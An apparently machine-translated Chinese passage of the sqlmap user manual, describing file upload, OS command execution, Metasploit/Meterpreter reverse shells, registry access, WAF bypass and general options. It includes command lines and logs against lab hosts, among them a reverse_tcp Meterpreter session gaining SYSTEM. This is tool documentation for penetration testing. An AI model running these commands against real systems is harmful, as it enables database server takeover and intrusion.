當后端數據庫管理系統是MySQL,PostgreSQL或Microsoft SQL Server時,可以將本地文件上載到數據庫服務器的文件系統,並且會話用戶具有濫用數據庫特定功能和架構弱點的所需特權。指定的文件可以是文本文件或二進制文件。sqlmap會正確處理它。

這些技術在高級SQL注入到操作系統完全控制的白皮書中有詳細介紹

針對上傳二進制UPX壓縮文件的MySQL目標的示例:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

操作系統接管

運行任意操作系統命令

選項和開關:--os-cmd--os-shell

它可以在數據庫服務器的底層操作系統上運行任意命令時,后端數據庫管理系統或者是MySQL和PostgreSQL或Microsoft SQL Server和會話用戶具有所需的權限濫用數據庫特定的功能和架構的弱點。

上MySQL和PostgreSQL,SqlMap的上傳(經由文件上傳功能如上所述)含有兩個用戶定義函數的共享庫(二進制文件),sys_exec()sys_eval(),然后將其在數據庫上創建這兩個函數和調用它們中的一個來執行指定的命令,取決於用戶選擇是否顯示標准輸出。在Microsoft SQL Server上,sqlmap會濫用xp_cmdshell存儲過程:如果它被禁用(默認情況下,Microsoft SQL Server> = 2005),sqlmap將重新啟用它; 如果它不存在,sqlmap會從頭開始創建它。

當用戶請求標准輸出時,sqlmap使用枚舉SQL注入技術之一(盲,帶內或基於錯誤)來檢索它。反之亦然,如果不需要標准輸出,則使用堆棧查詢SQL注入技術來執行該命令。

這些技術在高級SQL注入到操作系統完全控制的白皮書中有詳細介紹

針對PostgreSQL目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

你也可以模擬一個真正的shell,你可以根據需要輸入任意多個命令。該選項具有--os-shell和具有相同的TAB完成和歷史記錄功能--sql-shell

如果Web應用程序中沒有標識堆棧查詢(例如PHP或ASP,后端數據庫管理系統為MySQL)且DBMS是MySQL,則仍有可能濫用該SELECT子句INTO OUTFILE以在可寫文件夾中創建Web后門Web服務器文檔根目錄,並且仍然會執行命令執行,前提是后端DBMS和Web服務器位於同一台服務器上。sqlmap支持這種技術,並允許用戶提供逗號分隔的可能的文檔根子文件夾列表,嘗試上傳Web文件stager和后續的web后門。此外,sqlmap有以下語言的自己的經過測試的Web文件定時器和后門程序:

  • ASP
  • ASP.NET
  • JSP
  • PHP

帶外有狀態連接:Meterpreter和朋友

開關和選項:--os-pwn--os-smbrelay--os-bof--priv-esc--msf-path--tmp-path

當后端數據庫管理系統是MySQL,PostgreSQL或Microsoft SQL Server,並且會話用戶有需要時,可以在攻擊者機器和數據庫服務器底層操作系統之間建立帶外狀態TCP連接濫用數據庫特定功能和架構弱點的權限。該通道可以是交互式命令提示符,Meterpreter會話或圖形用戶界面(VNC)會話,可以根據用戶的選擇進行選擇。

sqlmap依靠Metasploit來創建shellcode並實現四種不同的技術來在數據庫服務器上執行它。這些技術是:

  • Metasploit的shellcode通過sqlmap自帶的用戶定義的函數在內存中執行數據庫sys_bineval()在MySQL和PostgreSQL上支持 - 開關--os-pwn
  • 通過sqlmap上載和執行Metasploit的獨立有效載荷 stager,sys_exec()在MySQL和PostgreSQL上或通過xp_cmdshell()Microsoft SQL Server - 開關自帶用戶定義的函數--os-pwn
  • Metasploit的shellcode通過執行SMB反射攻擊MS08-068)和數據庫服務器到Metasploit smb_relay服務器利用偵聽的攻擊者機器的UNC路徑請求來執行Metasploit的shellcode uid=0在Linux / Unix上以高特權(運行sqlmap 並且目標DBMS以Windows上的管理員身份運行時支持 - switch --os-smbrelay
  • 通過利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin存儲過程基於堆的緩沖區溢出MS09-004),數據庫在內存中執行Metasploit的shellcode sqlmap有自己的漏洞利用自動DEP內存保護繞過來觸發漏洞,但它依賴於Metasploit來生成shellcode,以便在成功利用開關時執行--os-bof

這些技術在白皮書中詳細介紹了高級SQL注入到操作系統完全控制和幻燈片中擴展了數據庫對操作系統的控制

針對MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

默認情況下,Windows上的MySQL運行為SYSTEM,但是PostgreSQL postgres在Windows和Linux上作為低權限用戶運行。默認情況下SYSTEMMicrosoft SQL Server 2000運行為,而Microsoft SQL Server 2005和2008運行大多數時間NETWORK SERVICE,有時和LOCAL SERVICE

可以通過交換機提供sqlmap --priv-esc通過Metasploit的命令執行數據庫進程'用戶權限升級getsystem其中包括kitrap0d技術(MS10-015)等。

Windows注冊表訪問

當后端數據庫管理系統是MySQL,PostgreSQL或Microsoft SQL Server,以及Web應用程序支持堆棧查詢時,可以訪問Windows注冊表。另外,會話用戶必須具有訪問它所需的特權。

閱讀Windows注冊表鍵值

開關: --reg-read

使用此開關可以讀取注冊表項值。

編寫一個Windows注冊表鍵值

開關: --reg-add

使用此開關可以編寫注冊表鍵值。

刪除Windows注冊表項

開關: --reg-del

使用此開關可以刪除注冊表項。

輔助注冊表選項

選項:--reg-key--reg-value--reg-data--reg-type

這些選項可以被用於提供所需的開關的適當的運行數據--reg-read--reg-add和 --reg-del因此,在提問時不要提供注冊表項信息,您可以在命令提示符下將它們用作程序參數。

通過--reg-key選項,您可以指定使用的Windows注冊表鍵名路徑,其中的--reg-value值項名稱位於提供的鍵內,其中包含--reg-data值數據,而--reg-type您可以使用選項指定值項的類型。

用於添加注冊表項配置單元的示例命令行如下所示:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

一般

這些選項可用於設置一些常規工作參數。

從存儲的(.sqlite)文件加載會話

選項: -s

sqlmap會自動為每個目標創建一個永久性會話SQLite文件,位於專用輸出目錄中,用於存儲會話結果所需的所有數據。如果用戶想明確設置會話文件位置(例如,為了在一個位置存儲多個目標的會話數據),他可以使用該選項。

將HTTP(s)流量記錄到文本文件

選項: -t

此選項需要指定文本文件以寫入由sqlmap生成的所有HTTP流量的參數 - HTTP(S)請求和HTTP(S)響應。

這主要用於調試目的 - 當您向開發人員提供潛在錯誤報告時,也請發送此文件。

以非交互模式運行

開關: --batch

如果你希望sqlmap作為一個批處理工具運行,當沒有任何用戶的交互時,sqlmap需要它,你可以通過使用開關強制--batch這將使sqlmap保持默認行為,無論何時需要用戶輸入。

二進制內容檢索

選項 --binary-fields

在二進制內容檢索的情況下,例如具有存儲二進制值的列的表格(例如password具有二進制存儲的密碼散列值的列)的示例,可以使用--binary-fieldssqlmap的(額外)適當處理選項。然后檢索所有這些字段(即表格列),並用十六進制表示法表示,所以之后可以用其他工具正確處理它們(例如john)。

自定義(盲)SQL注入字符集

選項: --charset

在基於布爾型盲和基於時間的盲注入SQL案例中,用戶可以強制使用自定義字符集來加速數據檢索過程。例如,在轉儲消息摘要值(例如SHA1)的情況下,通過使用(例如)--charset="0123456789abcdef"預期的請求數量比常規運行少30%。

從目標網址開始抓取網站

選項: --crawl

sqlmap可以通過從目標位置開始收集它們(爬行)來收集潛在的易受攻擊的鏈接。使用此選項,用戶可以設置一個深度(距離起始位置的距離),低於該深度,sqlmap不會進入收集階段,因為只要存在新的鏈接即可訪問,該過程將遞歸執行。

針對MySQL目標的示例運行:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

選項 --crawl-exclude

使用此選項,您可以通過提供正則表達式來排除爬網頁面。例如,如果您想跳過logout路徑中包含關鍵字的所有頁面,則可以使用--crawl-exclude=logout

分隔CSV輸出中使用的字符

選項: --csv-del

轉儲的數據以CSV格式(--dump-format=CSV存儲時,必須使用“分隔值”(默認為,分隔條目如果用戶想要覆蓋默認值,他可以使用這個選項(例如--csv-del=";")。

DBMS認證憑證

選項: --dbms-cred

在某些情況下,會警告用戶由於缺乏當前DBMS用戶權限而導致某些操作失敗,並且他可以嘗試使用此選項。在這些情況下,如果他admin通過使用此選項向sqlmap 提供用戶憑據,sqlmap將嘗試OPENROWSET使用這些憑據以專門的“運行方式”機制(例如在Microsoft SQL Server上)重新運行問題部分

轉儲數據的格式

選項: --dump-format

的SqlMap支持三種不同類型的存儲轉儲表數據時成相應的文件中的一個輸出目錄內格式化的:CSVHTMLSQLITE默認的是CSV,每個表格行按行存儲到文本文件中,並且每個條目用逗號字符,(或者帶有選項的一個--csv-del分隔在情況下HTML,輸出存儲到HTML文件中,其中每行用格式化表格中的行表示。在情況下SQLITE,輸出存儲到SQLITE數據庫中,原始表內容被復制到具有相同名稱的相應表中。

強制用於數據檢索的字符編碼

選項: --encoding

為了正確解碼字符數據,sqlmap使用Web服務器提供的信息(例如HTTP頭Content-Type)或來自第三方庫chardet的啟發式結果

不過,有些情況下這個值必須被覆蓋,特別是當檢索包含國際非ASCII字母的數據時(例如--encoding=GBK)。必須注意的是,由於存儲的數據庫內容與目標端使用的數據庫連接器之間的隱含不兼容性,字符信息可能會不可逆轉地丟失。

預計到達時間

開關: --eta

可以實時計算和顯示估計的到達時間以檢索每個查詢輸出。當用於檢索輸出的技術是任何盲注SQL類型時,會顯示此信息。

針對僅受基於布爾型盲態SQL注入影響的Oracle目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

如您所見,sqlmap首先計算查詢輸出的長度,然后估計到達時間,以百分比顯示進度並計算檢索到的輸出字符的數量。

刷新會話文件

選項: --flush-session

由於您已經熟悉上述描述中的會話文件的概念,因此您可以使用選項清除該文件的內容,這很好--flush-session這樣可以避免在sqlmap中默認實現的緩存機制。其他可能的方法是手動刪除會話文件。

分析和測試表單的輸入字段

開關: --forms

假設您想要針對SQL注入測試一個巨大的搜索表單,或者您想要測試一個登錄旁路(通常只有兩個輸入字段,如usernamepassword),您可以傳遞給請求文件中的sqlmap請求(-r),設置相應的POST數據(--data)或者讓sqlmap為你做!

上面提到的兩個例子以及其他許多例子都在HTML響應體中出現<form><input>標記,這就是開關起作用的地方。

提供sqlmap --forms以及可以找到表單的頁面作為目標URL(-u),並且sqlmap將為您請求目標URL,解析它所具有的表單並指導您在這些表單輸入字段上測試SQL注入參數)而不是提供的目標網址。

忽略存儲在會話文件中的查詢結果

開關: --fresh-queries

由於您已經從上面的描述中熟悉會話文件的概念,因此很高興知道您可以忽略該文件使用選項的內容--fresh-queries通過這種方式,您可以保持會話文件不變,並且對於選定的運行,避免恢復/恢復查詢輸出。

使用DBMS十六進制功能(s)進行數據檢索

開關: --hex

在丟失情況下檢索非ASCII數據需要特殊的需求。這個問題的一個解決方案是使用DBMS十六進制函數。通過該開關打開,數據在被檢索之前被編碼為十六進制格式,然后被解碼為原始格式。

針對PostgreSQL目標的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定義輸出目錄路徑

選項: --output-dir

默認情況下,sqlmap將會話和結果文件存儲在子目錄中output如果你想使用不同的位置,你可以使用這個選項(例如--output-dir=/tmp)。

從響應頁面解析DBMS錯誤消息

開關: --parse-errors

如果Web應用程序配置為調試模式,以便它在HTTP響應中顯示后端數據庫管理系統錯誤消息,則sqlmap可以解析並為您顯示它們。

這對於調試目的很有用,例如理解為什么某個枚舉或接管開關不起作用 - 這可能是會話用戶權限的問題,在這種情況下,您會看到一行DBMS錯誤消息Access denied for user <SESSION USER>

針對Microsoft SQL Server目標的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

將選項保存在配置INI文件中

選項: --save

可以將命令行選項保存到配置INI文件中。然后可以編輯生成的文件,並使用上述-c選項將其傳遞給sqlmap 

更新sqlmap

開關: --update

使用此選項,您可以直接從Git存儲庫將工具更新到最新的開發版本您顯然需要訪問Internet。

如果出於任何原因,此操作失敗,請git pull從您的sqlmap工作副本運行它將執行完全相同的開關操作--update如果您在Windows上運行sqlmap,則可以使用SmartGit客戶端。

郵件列表報告任何錯誤之前,強烈建議您這么做

使用短助記符

選項: -z

輸入所有期望的選項和開關可能變得單調乏味,特別是對於那些經常使用的選項和開關(例如--batch --random-agent --ignore-proxy --technique=BEU)。如何處理這個問題有一個更簡單和更短的方法。在sqlmap中它被稱為“助記符”。

每個選項和開關可以使用選項以較短的助記符形式書寫-z,用逗號字符(,分隔,其中助記符僅表示原始名稱的第一個任意選擇的部分。沒有將選項和開關嚴格映射到各自縮短的對應方。只有必要的條件是沒有其他選項,也沒有與所需的前綴相同的開關。

例:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

可以使用較短的助記符形式寫入(以多種方式之一),如:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

另一個例子:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

可以寫成較短的助記符形式,如:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

警告成功的SQL注入檢測

選項: --alert

設置問題的答案

選項: --answers

如果用戶想要自動設置問題答案,即使--batch使用該選項,他也可以通過在等號后提供問題的任何部分和答案來完成問題。此外,不同問題的答案可以用分隔符分割,

針對MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

發現SQL注入時發出嗶聲

開關: --beep

如果用戶使用開關--beep,當發現SQL注入時,他會立即發出嗶聲。-m要測試的目標URL 有大量的批量列表(選項時,此功能特別有用

從sqlmap特定的UDF(s)和表中清理DBMS

開關: --cleanup

建議在完成接管底層操作系統或文件系統后,從sqlmap臨時表中清理后端數據庫管理系統並創建用戶定義的函數。--cleanup只要有可能,交換機將嘗試清理DBMS和文件系統。

檢查依賴關系

開關: --dependencies

在某些特殊情況下,sqlmap需要獨立安裝額外的第三方庫(例如,選項-d--os-pwnicmpsh隧道情況下切換--auth-typeNTLMHTTP驗證類型的情況下選項等),並且僅在這種特殊情況下才會警告用戶。但是,如果您想獨立檢查所有這些額外的第三方庫依賴關系,則可以使用switch --dependencies

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

禁用控制台輸出顏色

開關: --disable-coloring

默認情況下,sqlmap在寫入控制台時使用着色。如果出現不希望的效果(例如未解釋的ANSI着色代碼的控制台外觀\x01\x1b[0;32m\x02[INFO]),則可以使用此開關禁用控制台輸出顏色。

使用指定頁碼的Google dork結果

選項: --gpage

帶有選項的默認sqlmap行為-g是執行Google搜索並使用前100個結果URL進行進一步的SQL注入測試。但是,結合此選項,您可以使用此選項(--gpage)指定第一個頁面以外的頁面以從中檢索目標URL。

使用HTTP參數污染

開關: --hpp

HTTP參數污染(HPP)是一種繞過WAF / IPS / IDS保護機制的方法(此處解釋)對ASP / IIS和ASP.NET / IIS平台特別有效。如果您懷疑目標是在這種保護之下,您可以嘗試使用此開關繞過它。

通過WAF / IPS / IDS保護測試

開關: --identify-waf

sqlmap可以嘗試識別后端WAF / IPS / IDS保護(如果有),以便用戶可以執行適當的步驟(例如,使用篡改腳本--tamper)。目前支持大約30種不同的產品(Airlock,Barracuda WAF等)以及它們各自的WAF腳本可在waf目錄中找到

針對由ModSecurity WAF保護的MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application 
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application 
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]

跳過啟發式檢測WAF / IPS / IDS保護

開關: --skip-waf

默認情況下,sqlmap會自動向啟動請求的內部發送一個包含故意“可疑”SQL注入有效負載(例如...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1的虛擬參數值如果目標響應方式與原始請求不同,則很有可能會受到某種保護。如有任何問題,用戶可以通過提供開關來禁用此機制--skip-waf

模仿智能手機

開關: --mobile

有時,Web服務器會向手機展示不同的接口,而不是台式計算機。在這種情況下,您可以強制使用預先確定的智能手機HTTP User-Agent標頭值之一。通過使用這個開關,sqlmap會要求你選擇一個當前流行的模擬智能手機。

示例運行:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

在離線模式下工作(僅使用會話數據)

開關: --offline

通過使用開關,--offlinesqlmap將只使用數據枚舉中的前一個會話數據。這基本上意味着在這樣的運行中將會有零連接嘗試。

安全地從輸出目錄中刪除所有內容

開關 --purge-output

